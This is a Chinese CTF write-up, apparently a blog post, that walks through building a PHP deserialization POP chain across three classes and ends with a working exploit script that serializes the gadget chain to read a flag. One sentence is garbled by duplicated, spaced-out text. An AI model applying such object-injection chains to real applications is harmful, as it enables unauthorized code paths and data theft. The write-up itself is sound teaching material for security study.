php反序列化之pop链构造

原题如下

<?php
highlight_file(__FILE__);

class NSS1 {
    var $name;

    function __destruct() {
        echo $this->name;
    }
}

class NSS2 {
    var $name;
    private $test;

    function __set($name, $value) {
        $a = $this->test;
        $a($value);
    }

    function __toString() {
        $this->name->{$this->test}();
    }
}

class NSS3 {
    var $name;
    var $res;

    function __invoke($v) {
        echo $this->name->flag($v);
    }

    function flag($a) {
        if ($a === '1') {
            return getenv('FLAG');
        }
    }

    function __call($name, $arguments){
        $this->name->a = '1';
    }
}
unserialize($_GET['n']);
 __wakeup() //------ 执行unserialize()时,先会调用这个函数
 __sleep() //------- 执行serialize()时,先会调用这个函数
 __destruct() //---- 对象被销毁时触发
 __call() //-------- 在对象上下文中调用不可访问的方法时触发
 __callStatic() //-- 在静态上下文中调用不可访问的方法时触发
 __get() //--------- 用于从不可访问的属性读取数据或者不存在这个键都会调用此法
 __set() //--------- 用于将数据写入不可访问的属性
 __isset() //------- 在不可访问的属性上调用isset()或empty()触发
 __unset() //------- 在不可访问的属性上使用unset()时触发
 __toString() //---- 把类当作字符串使用时触发
 __invoke() //------ 当尝试将对象调用为函数时触发

step1

首先确定链子的头和尾

function __destruct() {
        echo $this->name;
    }

一般析构函数为链子的头

echo函数,将$this->name当作字符串使用

可以联想到__toString()函数

因此第一步是

$a=new NSS1();
$a->name=new NSS2();

step2

function __toString() {
        $this->name->{$this->test}();
    }

{$this->test}()这里可以联想到__invoke()函数,把类当作函数时触发

和__call()函数,当调用不存在的方法时触发

t h i s − > n a m e 如果不是类的话,想要调用魔术方法,只能将 this->name如果不是类的话,想要调用魔术方法,只能将 this>name如果不是类的话,想要调用魔术方法,只能将this->test赋值为类,此时触发__invoke()函数

function __invoke($v) {
        echo $this->name->flag($v);
    }

function flag($a) {
        if ($a === '1') {
            return getenv('FLAG');
        }
    }

但是无法得到flag,因为flag里面的参数不等于1

所以要将$this->name赋值为类

因此第二步

$a->name->name=new NSS3();

但是 t e s t 是 p r i v a t e 类型,必须要定义一个函数才能给 test是private类型,必须要定义一个函数才能给 testprivate类型,必须要定义一个函数才能给test赋值

function setTest($a){
	$this->test=$a;
}
$a->name->setTest('unknown');

step3

function __call($name, $arguments){
        $this->name->a = '1';
    }

现在链子传到了__call()这里,它里面是一个赋值的操作

联想到__set()方法是给不存在的属性赋值

因此第三步为

$a->name->name->name=new NSS2();

step4

function __set($name, $value) {
        $a = $this->test;
        $a($value);
    }

此时,只剩一个魔术方法__invoke()没有调用,再通过分析,也能得出这题是通过将类当作函数调用

从而调用__invoke()函数

$b=new NSS3();
$a->name->name->name->setTest($b);

step5

function __invoke($v) {
        echo $this->name->flag($v);
    }

function flag($a) {
        if ($a === '1') {
            return getenv('FLAG');
        }
    }

image-20230712232736082

参数的值这么传递下来,只要将$this-name赋值为类即可

$b->name=new NSS3();

Final

整合得到exp

<?php
//highlight_file(__FILE__);

class NSS1 {
    var $name;

    function __destruct() {
        echo $this->name;//step1 name=NSS2
    }
}

class NSS2 {
    var $name;
    private $test;

    function __set($name, $value) {//name=a value=1
        $a = $this->test;
        $a($value);//step4 test=NSS3
    }

    function __toString() {
        $this->name->{$this->test}();//step2 name=NSS3 test=xxx
    }
    function setTest($a){
        $this->test=$a;
    }
}

class NSS3 {
    var $name;
    var $res;

    function __invoke($v) {//v=value
        echo $this->name->flag($v);//step5 name=NSS3
    }

    function flag($a) {
        if ($a === '1') {
            return getenv('FLAG');
        }
    }

    function __call($name, $arguments){
        $this->name->a = '1';//step3 name=NSS2
    }
}
//unserialize($_GET['n']);
$a=new NSS1();
$a->name=new NSS2();
$a->name->name=new NSS3();
$a->name->setTest("xxx");
$a->name->name->name=new NSS2();
$b=new NSS3();
$b->name=new NSS3();
$a->name->name->name->setTest($b);
echo urlencode(serialize($a));
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值